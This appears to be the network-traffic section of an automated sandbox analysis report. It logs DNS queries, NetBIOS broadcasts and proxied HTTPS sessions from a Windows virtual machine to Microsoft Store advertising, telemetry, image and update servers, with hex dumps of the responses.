Jun 8, 2022 09:54:13.472151041 CEST 443 51393 142.250.203.110 192.168.2.3

Jun 8, 2022 09:54:13.483525991 CEST 443 51393 142.250.203.110 192.168.2.3

Jun 8, 2022 09:54:14.039205074 CEST 51393 443 192.168.2.3 142.250.203.110

Jun 8, 2022 09:54:14.081511974 CEST 443 51393 142.250.203.110 192.168.2.3

Jun 8, 2022 09:54:14.083652020 CEST 443 51393 142.250.203.110 192.168.2.3

Jun 8, 2022 09:54:15.242487907 CEST 51393 443 192.168.2.3 142.250.203.110

Jun 8, 2022 09:54:15.284564972 CEST 443 51393 142.250.203.110 192.168.2.3

Jun 8, 2022 09:54:16.868298054 CEST 51393 443 192.168.2.3 142.250.203.110

Jun 8, 2022 09:54:19.387865067 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:19.389317989 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:19.390810966 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:19.393253088 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:19.394682884 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:19.397360086 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.149069071 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.149169922 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.149178982 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.149184942 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.149384975 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.149394989 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.899121046 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.899211884 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.899216890 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.899220943 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.899224043 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:20.899226904 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:55:10.790477991 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:55:11.554389000 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:55:12.310760975 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:55:53.038134098 CEST 138 138 192.168.2.3 192.168.2.255

Jun 8, 2022 09:57:00.250149012 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:57:00.998106003 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:57:01.763784885 CEST 137 137 192.168.2.3 192.168.2.255

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jun 8, 2022 09:53:59.929595947 CEST 192.168.2.3 8.8.8.8 0xfe2f Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001)

Jun 8, 2022 09:53:59.949321985 CEST 192.168.2.3 8.8.8.8 0x6a97 Standard query 
(0)

clients2.g
oogle.com

A (IP address) IN (0x0001)

DNS Queries
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jun 8, 2022 
09:53:59.946887970 CEST

8.8.8.8 192.168.2.3 0xfe2f No error (0) accounts.g
oogle.com

172.217.168.45 A (IP address) IN 
(0x0001)

Jun 8, 2022 
09:53:59.976814032 CEST

8.8.8.8 192.168.2.3 0x6a97 No error (0) clients2.g
oogle.com

clients.l.google.co
m

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jun 8, 2022 
09:53:59.976814032 CEST

8.8.8.8 192.168.2.3 0x6a97 No error (0) clients.l.
google.com

142.250.203.110 A (IP address) IN 
(0x0001)

            
arc.msn.com

            
store-images.s-microsoft.com

            
accounts.google.com

            
clients2.google.com

            
fs.microsoft.com

            
login.live.com

            
www.bing.com

            
img-prod-cms-rt-microsoft-com.akamaized.net

            
ris.api.iris.microsoft.com

            
sls.update.microsoft.com

            
displaycatalog.mp.microsoft.com

         

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.2.3 49705 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:49 UTC 0 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220308T163202Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=c1b34aff136b43349b443c74f36772f8&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418352&metered=false&nettype=ethernet&npid=sc-
310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=
VMware7%2C1&tl=2&tsu=1418352&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
Cache-Control: no-cache
MS-CV: i4aliLCJNUqJo4L5.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets
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2022-06-08 07:53:49 UTC 2 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: BUzDhuGPsPWUcPzSsfwf5qnJTSQuOQjZCGb0QGGkHFDi1ziLjYNOwmP3UxkzGOHoXjU8LrUxiCSma2T
fZ0XUm5ub61/IpEymgDuES2mUNFa5Sv75o1kZg33NV3JfUcIWf+yhHBo2zuw4FvpMeyybGCKijB5VFMMKR666r/kyu
kYy32x7iudmMhgvNtqEwRBfynn72gHlw6OoNI6DtYV482HCOLDT3CcRO1ZvDAFCzzZOLzsHlTG+iwr2AoL0tz9li7/
Yf0xQyNBZelYCdATXobjmidyiQS693fthN11JEc0Ynq/yQnMBm6cV1EOEcjmwkaiIj0G2AVtbFH35tLpDlw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Wed, 08 Jun 2022 07:53:49 GMT
Connection: close

2022-06-08 07:53:49 UTC 3 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 
73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 
20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 36 2d 30 
38 54 31 31 3a 35 33 3a 34 39 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No e
ligible content.)."}],"refreshtime":"2022-06-08T11:53:49"}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.2.3 49704 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:49 UTC 1 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220308T163202Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=66bcbc0609d3466c8a0539d805ee6fc3&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418352&metered=false&nettype=ethernet&npid=sc-
314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7
%2C1&tl=2&tsu=1418352&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
Cache-Control: no-cache
MS-CV: i4aliLCJNUqJo4L5.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-06-08 07:53:49 UTC 3 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=1254
Content-Length: 53755
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T
700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNC
RFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},
{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6V
K_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_
9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: tE36IOQ0QK4TrwHmr2oFo5APcI8dQSTo0x0/Xi6FzR+ANBfzTQ2a4O8xmdwI2YReQMUinTm1y2z5BFF
jbEbn+X/iqo3ikrr243qw+9Y/uSwzCr7cE+hHzJvGASs4B3Z0/5UFeWjpsd0xrYJ7J6WnDlAsO5iVZTFzDXO0BxXBQ
bjagxl6LBg5IAAUOG/ju8ZT+5x8b6Hvp3W/Op68X7mnfWybQ6xQDtU1qOcjWVp4BGq1wW31YZWSKvheSYfMfjoQK08
sBy3MZqZDYnMU/YHGVkjQx1KKBL5f17MnC0n40Wsjh6SvB4hgE5x9bttxa1y4pgHR8avynx5eAgUNDXMlIA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Wed, 08 Jun 2022 07:53:49 GMT
Connection: close

2022-06-08 07:53:49 UTC 4 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5
c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 
65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 
74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 
5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"
CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"b
oolean\
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2022-06-08 07:53:49 UTC 19 IN Data Raw: 5c 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 
3a 5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 
6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 
62 6c 65 26 63 63 69 64 3d 64 62 34 33 38 62 38 65 35 30 31 36 34 66 66 35 62 38 62 64 38 31 37 31 32 63 33 33 33 64 
32 30 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 
22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 
5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 
Data Ascii: \":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startp
rogrammable&ccid=db438b8e50164ff5b8bd81712c333d20&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"even
t\":\"opportunity\",\"parameters\":{}

2022-06-08 07:53:49 UTC 35 IN Data Raw: 72 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 64 30 62 61 38 31 65 36 35 64 39 36 34 64 39 38 
61 63 36 32 35 66 38 34 36 36 32 36 31 31 34 34 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 
5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 
5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 6
1 63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 65 
5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 5c 
22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 
Data Ascii: rtprogrammable&ccid=d0ba81e65d964d98ac625f8466261144&cid=msft_1\"},\"action\":\"launchUri\"},\"onR
ender\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"sho
wNameOnWideTile\":{\"bool\":true},\"s

2022-06-08 07:53:49 UTC 51 IN Data Raw: 61 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 5c 22 
77 69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 
22 51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 46 38 
62 66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 63 74 
69 6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5
c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 
72 6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 6d 61 67 65 5c 2f 61 70 70 
Data Ascii: ad81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB0Y
H3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-
images.s-microsoft.com\/image\/app

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

10 192.168.2.3 49714 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:54 UTC 129 OUT GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-0
7f5250c8c21?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:54 UTC 129 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 11182
Content-Type: image/png
Last-Modified: Thu, 30 Sep 2021 03:30:18 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyQTA4MkRBQUM"
MS-CV: Yyzz1YfTlk6thXph.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:54 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:54 UTC 130 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 2b 
75 49 44 41 54 78 01 d4 97 07 6e ec 3a 0c 45 05 60 c4 f4 be 84 d7 d3 7b dd ff be 3e 43 c3 77 e4 cf 70 28 ca 4a 03 0e 08 
0e 33 55 07 97 76 d2 22 ff 04 79 84 de e0 17 d1 ef 25 6b 68 a2 fc 19 9a bc fe 97 d6 fe 72 ad e6 df 17 e3 6f 25 b4 c6 fc 11 
7e c7 a0 09 69 a5 a4 5f 30 04 42 56 98 80 8c d2 8a ef e6 38 6f d8 93 0d e6 18 c8 9f 30 51 ac 33 fd 9d b9 d0 7a b5 bf 41 
d5 ff f5 10 dc 04 f4 e4 f5 90 15 f7 e8 71 8e e8 bf 28 e3 d7 3e f6 44 fe 0b 2a fc ad 49 48 0f 13 95 24 e9 8e e6 66 45 4a be 
3f be b3 2a 88 51 3b 33 71 8c 18 df 0d 58 7f cd 10 d3 1a 9d 99 9c 7c 2c fa 13 db 2d b6 fa fb c3 f0 b1 a7 2a 49 1d ae 31 ef 
ec 66 f3 64 b1 6c 04 6e 04 9e e8 87 e5 10 73 bc 
Data Ascii: PNGIHDRh_+uIDATxn:E`{>Cwp(J3Uv"y%khro%~i_0BV8o0Q3zAq(>D*IH$fEJ?*Q;3qX|,-*I1fdlns

Session ID Source IP Source Port Destination IP
Destination
Port

Process

100 192.168.2.3 49828 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:59 UTC 9438 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165616Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:59 UTC 9439 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: b1ff1a96-ad32-46bd-b3b0-506ba15ae042
Date: Wed, 08 Jun 2022 07:56:59 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

101 192.168.2.3 49829 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:59 UTC 9439 OUT GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKT
OP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400089837&UIT=P-&TargetID=700
129702&AN=679670357&PG=PC000P0FR5.0000000IRT&REQASID=8269C44C06284E1CA50E8D554A67885C&UNID
=338388&ASID=b294f7550fc04b4bb1601ebac6b0c790&PERSID=DBDE13DC697F71846A990CDFDC016FBD&GLOB
ALDEVICEID=6755432004667435&LOCALID=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&DS_EVTID=e4c7f4
e268ec427292df4f5be8ee76cd&DEVOSVER=10.0.17134.1&REQT=20220608T075602&TIME=20220608T165641
Z&ARCRAS=&CLR=CDM HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:00 UTC 9440 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 41b7167b-bb64-4c32-9b2e-1ab290647864
Date: Wed, 08 Jun 2022 07:56:59 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

102 192.168.2.3 49830 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:00 UTC 9440 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165616Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:00 UTC 9440 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 2b1d64b4-647d-4834-88f6-47b085507d47
Date: Wed, 08 Jun 2022 07:57:00 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

103 192.168.2.3 49831 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:57:00 UTC 9441 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:57:00 UTC 9442 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 78973794-efc8-4a4b-a2f6-a1f8fe7270e0
MS-RequestId: f0fdd90c-0cec-4cdc-bb92-267400c2b4dc
MS-CV: H8i3p+6ghkmhDiPK.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:00 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:57:00 UTC 9442 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:57:00 UTC 9458 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

